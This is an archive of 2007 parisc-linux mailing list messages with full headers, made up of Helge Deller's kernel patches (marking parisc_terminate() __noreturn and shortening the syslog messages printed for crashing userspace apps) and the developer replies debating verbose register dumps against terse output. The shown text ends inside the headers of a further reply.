X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1Hf4ErNMbXBsfrqHPTQ2GGMqLyUmZYi7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24716

Add __noreturn to parisc_terminate() as it does not return to caller.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index c3ec9f1..aebbfbc 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -414,7 +414,7 @@ void transfer_pim_to_trap_frame(struct pt_regs *regs)
  * has gone clearly wrong. We get called for faults in kernel space,
  * and HPMC's.
  */
-void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
+void __noreturn parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
 {
 	static DEFINE_SPINLOCK(terminate_lock);
 
diff --git a/include/asm-parisc/traps.h b/include/asm-parisc/traps.h
index 1945f99..9dae13a 100644
--- a/include/asm-parisc/traps.h
+++ b/include/asm-parisc/traps.h
@@ -5,7 +5,7 @@
 struct pt_regs;
 
 /* traps.c */
-void parisc_terminate(char *msg, struct pt_regs *regs,
+void __noreturn parisc_terminate(char *msg, struct pt_regs *regs,
 		int code, unsigned long offset);
 
 /* mm/fault.c */

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of crashing
	userspace apps.
Date: Sun, 15 Jul 2007 15:00:58 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <200707151500.59050.deller__1925.526923924$1416624413$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624413 24738 80.91.229.3 (22 Nov 2014 02:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 13:01:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 15 Jul 2007 15:01:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 420067DD18;
	Sun, 15 Jul 2007 07:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07964-09; Sun, 15 Jul 2007 07:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC1F87DD16;
	Sun, 15 Jul 2007 07:01:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6FE67DCEC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05934-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:34 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id A93417DCED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:33 -0600 (MDT)
Original-Received: (qmail invoked by alias); 15 Jul 2007 13:01:32 -0000
Original-Received: from mnhm-590c3168.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.49.104]
	by mail.gmx.net (mp049) with SMTP; 15 Jul 2007 15:01:32 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o3PvdcdZODBoYrWUfGRMeBs1Ji9SWlIV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24717

Clean up syslog output of crashing userspace apps.
With this patch the syslog will print:
  portmap(1480): invalid access to 0x8232b578 at ip=0x41192af3 (segfault code 15)
which is consistent with outher output like:
  hald-probe-stor(1672): unaligned access to 0xfafcbd26 at ip=0x00014013

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index f6f6755..8d6ddf8 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -208,14 +208,9 @@ bad_area:
 		struct siginfo si;
 
 #ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "\n");
-		printk(KERN_DEBUG "do_page_fault() pid=%d command='%s' type=%lu address=0x%08lx\n",
-		    tsk->pid, tsk->comm, code, address);
-		if (vma) {
-			printk(KERN_DEBUG "vm_start = 0x%08lx, vm_end = 0x%08lx\n",
-					vma->vm_start, vma->vm_end);
-		}
-		show_regs(regs);
+		printk(KERN_DEBUG "%s(%d): invalid access to 0x%08lx at ip=0x%08lx" 
+				  " (segfault code %lu)\n",
+		    tsk->comm, tsk->pid, address, regs->iaoq[0], code);
 #endif
 		/* FIXME: actually we need to get the signo and code correct */
 		si.si_signo = SIGSEGV;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of crashing userspace apps.
Date: Sun, 15 Jul 2007 14:56:14 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20070715145613.GA9938__19981.1472943567$1416624413$gmane$org@tausq.org>
References: <200707151500.59050.deller@gmx.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624413 24740 80.91.229.3 (22 Nov 2014 02:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <randolph@tausq.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 14:56:17 -0000
Original-Received: from gandalf.tausq.org (EHLO arwen.tausq.org) [64.81.244.94]
  by mx0.gmx.net (mx068) with SMTP; 15 Jul 2007 16:56:17 +0200
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 7C27143879; Sun, 15 Jul 2007 07:56:14 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200707151500.59050.deller@gmx.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xnHQAb0La2A6a7vDOHQy64kyOWhhagd+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24718

In reference to a message from Helge Deller, dated Jul 15:
> Clean up syslog output of crashing userspace apps.
> With this patch the syslog will print:
>   portmap(1480): invalid access to 0x8232b578 at ip=0x41192af3 (segfault code 15)
> which is consistent with outher output like:
>   hald-probe-stor(1672): unaligned access to 0xfafcbd26 at ip=0x00014013

The verbose dump we have now is actually quite useful for debugging.
Whereas unaligned accesses are usually very straightforward to debug
once you know where they are coming from (thus only need ip), segfaults
are not always that way. The full register dump comes in handy...

Can we make this controllable by prctl, so that we can have both verbose
and terse output options, with the verbose one being the default? My
rationale is that you don't usually know if an app is going to crash, so
it's better to have the debug info you need if it does crash, and you
can turn it off if your app runs in a way that the verbose output is
somehow adversely affecting it (slowing it down too much, etc).

Also, you might want to remove "segfault" from the output string, since
the crash can be from SIGSEGV, SIGILL, SIGBUS, etc...

thanks,
randolph



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Sun, 15 Jul 2007 11:21:49 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200707151521.l6FFLnsn007217__13996.7475356118$1416624414$gmane$org@hiauly1.hia.nrc.ca>
References: <20070715145613.GA9938@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624414 24744 80.91.229.3 (22 Nov 2014 02:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:54 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 15:21:52 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx025) with SMTP; 15 Jul 2007 17:21:52 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6FFLo1L007219;
	Sun, 15 Jul 2007 11:21:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6FFLnsn007217;
	Sun, 15 Jul 2007 11:21:49 -0400 (EDT)
In-Reply-To: <20070715145613.GA9938@tausq.org> from "Randolph Chung" at Jul 15, 2007 02:56:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xn/QAb4La2A6a7vDOHQyHuwyOWhhagfL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24719

> Also, you might want to remove "segfault" from the output string, since
> the crash can be from SIGSEGV, SIGILL, SIGBUS, etc...

Why not print the actual name of the interruption from the arch
instead of "code 15", etc?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
	crashing userspace apps.
Date: Sun, 15 Jul 2007 19:35:27 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <200707151935.27525.deller__9825.50469129837$1416624414$gmane$org@gmx.de>
References: <200707151500.59050.deller@gmx.de>
	<20070715145613.GA9938@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624414 24746 80.91.229.3 (22 Nov 2014 02:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:19:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 15 Jul 2007 20:19:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BF657DCA9;
	Sun, 15 Jul 2007 12:19:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09832-09; Sun, 15 Jul 2007 12:19:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B10977DCAC;
	Sun, 15 Jul 2007 12:19:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 704FC7DCEC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09832-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:11 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3EAD47DC99
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:11 -0600 (MDT)
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:19:09 -0000
Original-Received: from mnhm-590c3168.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.49.104]
	by mail.gmx.net (mp019) with SMTP; 15 Jul 2007 20:19:09 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070715145613.GA9938@tausq.org>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fQDoZmYweSE4eL6WZHQhtdR2IGRvb0D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24720

Hi Randolph,

On Sunday 15 July 2007, Randolph Chung wrote:
> In reference to a message from Helge Deller, dated Jul 15:
> > Clean up syslog output of crashing userspace apps.
> > With this patch the syslog will print:
> >   portmap(1480): invalid access to 0x8232b578 at ip=0x41192af3 (segfault code 15)
> > which is consistent with outher output like:
> >   hald-probe-stor(1672): unaligned access to 0xfafcbd26 at ip=0x00014013
> 
> The verbose dump we have now is actually quite useful for debugging.
> Whereas unaligned accesses are usually very straightforward to debug
> once you know where they are coming from (thus only need ip), segfaults
> are not always that way. The full register dump comes in handy...

I do not disagree, that dumps are useful in general.
Nevertheless, is this specific dump really that useful ?
Can you really fix bugs with the dump without use of gdb ?
On i386 userspace crashes aren't even shown in the syslog.
 
> Can we make this controllable by prctl, so that we can have both verbose
> and terse output options, with the verbose one being the default? My
> rationale is that you don't usually know if an app is going to crash, so
> it's better to have the debug info you need if it does crash, and you
> can turn it off if your app runs in a way that the verbose output is
> somehow adversely affecting it (slowing it down too much, etc).

Good idea.
But again, on i386 there isn't shown anything.
Do we really want the overhead to add a new prctl option ?

> Also, you might want to remove "segfault" from the output string, since
> the crash can be from SIGSEGV, SIGILL, SIGBUS, etc...

Ok.

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Sun, 15 Jul 2007 20:19:07 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <200707152019.08212.deller__26793.3378382169$1416624414$gmane$org@gmx.de>
References: <200707151521.l6FFLnsn007217@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624414 24748 80.91.229.3 (22 Nov 2014 02:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:19:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 15 Jul 2007 20:19:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45A577DD26;
	Sun, 15 Jul 2007 12:19:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10157-04; Sun, 15 Jul 2007 12:19:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0505F7DCF5;
	Sun, 15 Jul 2007 12:19:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2FF7DC99
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09806-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:11 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 443797DCB8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 12:19:11 -0600 (MDT)
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:19:10 -0000
Original-Received: from mnhm-590c3168.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.49.104]
	by mail.gmx.net (mp019) with SMTP; 15 Jul 2007 20:19:10 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200707151521.l6FFLnsn007217@hiauly1.hia.nrc.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BV2vcr4mRkkfWauPfGRqZMlmdWkvKJO8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24721

On Sunday 15 July 2007, John David Anglin wrote:
> > Also, you might want to remove "segfault" from the output string, since
> > the crash can be from SIGSEGV, SIGILL, SIGBUS, etc...
> 
> Why not print the actual name of the interruption from the arch
> instead of "code 15", etc?

I'll take a look at that.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Sun, 15 Jul 2007 14:49:13 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200707151849.l6FInDB4011476__4475.2333699309$1416624415$gmane$org@hiauly1.hia.nrc.ca>
References: <200707151935.27525.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624415 24750 80.91.229.3 (22 Nov 2014 02:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:55 +0000 (UTC)
Cc: randolph@tausq.org,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
